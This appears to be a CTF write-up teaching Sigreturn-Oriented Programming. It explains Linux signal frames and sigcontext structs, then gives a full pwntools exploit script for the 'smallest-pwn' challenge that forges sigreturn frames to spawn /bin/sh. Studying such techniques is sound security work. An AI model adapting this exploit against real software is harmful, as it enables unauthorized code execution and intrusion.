SROP was published by Erik Bosman from Vrije Universiteit Amsterdam in 2014.
Signal handling is a mechanism in UNIX systems for processes to communicate with each other. During signal handling, firstly, there will be a context save of the current process, then the signal handler is executed, and finally the context is restored and execution continues as normal.
The context is just all the registers and some other information that represent the current state of the process. To be more precise, here are the sigcontext for x86 and x64.
- x86
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
- x64
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
The way they are being stored is very simple, they are all pushed onto the stack.
| sigreturn | <--- sp
| siginfo |
| ucontext |
| stack |
siginfo and ucontext here are what we call the signal frame, and sigreturn is just the return address to a sigreturn instruction.
In short,
- before running the signal handler - context is being pushed onto the stack
- after finish executing the signal handler - context is being popped off the stack
(all of these is learnt in NUSH CS Honours Operating Systems course :P)
The interesting thing here is the context restore part, which is being done by the sigreturn instruction. It is very simple, just pop off the context from the stack and fill in the respective registers with what's in it.
Why is this useful?
sigreturnreads off the stack, which we have control offsigreturndoes not validate the integrity of the context in the stack
Once we are able to get the values we want onto the registers, we can then return to a syscall instruction, which means we can do anything we want.
The sigreturn instruction can also be accessed via syscall number 15.
The steps of performing this exploit is pretty simple,
- Leak stack address
- Write signal frame into stack
- Return to
sigreturninstruction - Return to
syscallinstruction
However, there are some conditions
- Large input (a signal frame is about 248 bytes, constructed using pwntools for 64 bit)
- At least a
syscallgadget
- When in a statically linked binary we cannot return to libc
- We don't have enough gadgets to control the registers we want for syscalls
We will use a challenge from 360春秋杯, smallest-pwn. (this is pretty much just a rewrite of this in English)
Disassembly of the binary shows that it really is very small.
/ (fcn) entry0 17
| entry0 ();
| 0x004000b0 4831c0 xor rax, rax
| 0x004000b3 ba00040000 mov edx, 0x400
| 0x004000b8 4889e6 mov rsi, rsp
| 0x004000bb 4889c7 mov rdi, rax
| 0x004000be 0f05 syscall
\ 0x004000c0 c3 ret
Really, this is all we have. All input that we pass in is a ROP chain for the program to execute.
We do not have a libc to return to, and we do not have gadgets to control rax, rdi, rsi and rdx to prepare a execve("/bin/sh", 0, 0) system call. So, we have to use SROP for this.
First, prepare our exploit script.
from pwn import *
from LibcSearcher import *
binary_name = './smallest'
p = process(binary_name)
context.arch = 'amd64' # must be here or pwntools will give an error when using SigreturnFrame
entry = 0x4000b0
syscall_ret = 0x4000beWe prepare the stack to have 3 copies of the address to the entry point, we'll see later why.
payload = p64(entry) * 3
p.send(payload)Our stack is now
0x4000b0|0x4000b0|0x4000b0|rest of the stack
First read, we want to modify the next 0x4000b0 on the stack to be 0x4000b3. Doing this sets rax=1, as read sets rax to be the number of bytes read. Also, this allows us to skip over the xor rax, rax instruction, allowing us to dump 0x400 bytes from the stack by calling write(0, rsp, 0x400) instead of read.
p.send('\xb3')Our stack is now
0x4000b3|0x4000be|rest of the stack
So, we get a dump of the stack, which contains a lot of stack addresses.
stack_addr = u64(p.recv()[8:16])
log.success('Found stack addr: 0x%x' % stack_addr)Now our stack is
0x4000be|rest of the stack
We get another read from the service, so we craft a SigreturnFrame using pwntools, and send it in. We can't use execve first, because we need to pivot the stack to be the stack address we leaked earlier, so that we have control of where '/bin/sh' is.
# sigframe for read(0, new_stack_addr, 0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(entry) + 'a' * 8 + str(sigframe)
p.send(payload)We will need another address to the entry point on the stack, and 8 more padding bytes, so that we can read in 15 bytes later, making rax=15, which is the syscall number for sigreturn.
# send 15 bytes so that rax=15
sigreturn = p64(syscall_ret) + 'a' * 7
p.send(sigreturn)Notice here that this time the payload has 7 bytes eating into the SigreturnFrame, but that's fine, because the important information are all near to the middle of the frame.
We do the same thing but this time with execve.
# same thing, sigframe for execve('/bin/sh', 0, 0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(entry) + 'a' * 8 + str(sigframe)
payload += (0x120 - len(payload)) * 'a' + '/bin/sh\x00'
p.send(payload)
# then sigreturn
p.send(sigreturn)
p.interactive()And we get shell!
